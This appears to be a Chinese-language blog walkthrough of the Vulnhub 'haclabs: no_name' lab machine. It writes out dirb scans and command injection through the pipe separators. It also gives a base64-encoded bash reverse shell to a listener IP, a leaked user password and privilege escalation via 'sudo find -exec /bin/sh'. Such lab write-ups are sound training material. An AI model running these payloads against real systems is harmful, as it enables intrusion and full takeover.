haclabs: no_name(HL.ova)靶机渗透-Vulnhub

haclabs: no_name(HL.ova)靶机渗透-Vulnhub

haclabs: no_name(HL.ova)靶机渗透-Vulnhub

  • 前言
  • 一、IP端口探测
  • 二、80端口信息收集
    • 1.目录扫描
    • 2.命令执行(||和|)
    • 3.base64绕过
    • 4.反弹shell
  • 三、提权
    • 1.查找隐藏文件
    • 2.获取haclabs密码
    • 3.优化终端
    • 4.find提权
  • 总结

前言

这台靶机(haclabs: no_name)仅开放了1个80端口,目录扫描时尽可能使用多个工具和字典,以便尽可能多的收集信息


一、IP端口探测

在这里插入图片描述

二、80端口信息收集

1.目录扫描

目录扫描时要多换几个字典和参数,说不定会有新发现

dirb http://172.16.9.20
dirb http://172.16.9.20 /usr/share/wordlists/dirb/big.txt
dirb http://172.16.9.20 /usr/share/wordlists/dirb/big.txt -X .php

扫出来的目录如下:

http://172.16.9.20/index.php
http://172.16.9.20/admin
http://172.16.9.20/server-status
http://172.16.9.20/superadmin.php

在这里插入图片描述

依次访问发现/index.php、/admin、/server-status均无法直接利用,而/superadmin.php看着像是命令执行

2.命令执行(||和|)

输入ip执行ping命令

在这里插入图片描述

1.依次尝试各种命令拼接符,发现 || 和 | 可用
在这里插入图片描述

在这里插入图片描述

但有些命令却无回显(如ls),猜想可能有过滤条件
在这里插入图片描述

2.查看superadmin.php文件
在这里插入图片描述

显示内容并不完整,此时查看下页面源码,发现以下字符被过滤,若直接使用nc,bash,telnet反弹shell均无法生效
在这里插入图片描述

3.base64绕过

通过base64绕过,此处使用bash反弹,为什么不用nc,因为试了nc并未生效,查阅资料知有些类型的nc不带-e参数,因此nc ip port -e /bin/sh是不可用的

echo ‘bash -i >& /dev/tcp/172.16.9.9/3333 0>&1’ | base64
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuOS45LzMzMzMgMD4mMQo= | base64 -d

在这里插入图片描述

kali本机开启3333端口监听

4.反弹shell

注:这里插入的paylaod要在最后添加 |bash,让反弹shell的命令真正执行
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuOS45LzMzMzMgMD4mMQo= | base64 -d
结果只是打印出base64解码内容,并不会真正执行反弹shell

在这里插入图片描述

完整的payload为:

|echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuOS45LzMzMzMgMD4mMQo= | base64 -d | bash

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

三、提权

查看系统用户,发现还有个haclabs和yash用户,分别切换到这2个用户目录查看

cat /etc/passwd
cd /home/yash
ls -la
cat flag1.txt

在这里插入图片描述

根据提示消息,haclabs用户的密码存在了yash用户的隐藏文件中

1.查找隐藏文件

查找所有属于yash用户的文件

find / -type f -user yash 2>/dev/null

在这里插入图片描述

2.获取haclabs密码

查看隐藏文件,获取到haclabs密码为 haclabs1234

在这里插入图片描述

3.优化终端

切换到haclabs用户,发现需要终端状态,使用python进行终端优化

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

在这里插入图片描述

继续优化终端:

ctrl + z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=xterm
reset

查看haclabs用户目录,发现flag2.txt

在这里插入图片描述

查看sudo的配置,发现可以在无需密码情况下执行find
在这里插入图片描述

4.find提权

sudo find . -exec /bin/sh \;

在这里插入图片描述

切换到/root 目录,获得Flag3
在这里插入图片描述


总结

突破点:目录扫描(注意字典和参数)——命令执行(注意payoad)—切换用户(注意优化终端)——find提权

                       

点击阅读全文

上一篇 2023年 6月 6日 am10:46
下一篇 2023年 6月 6日 am10:49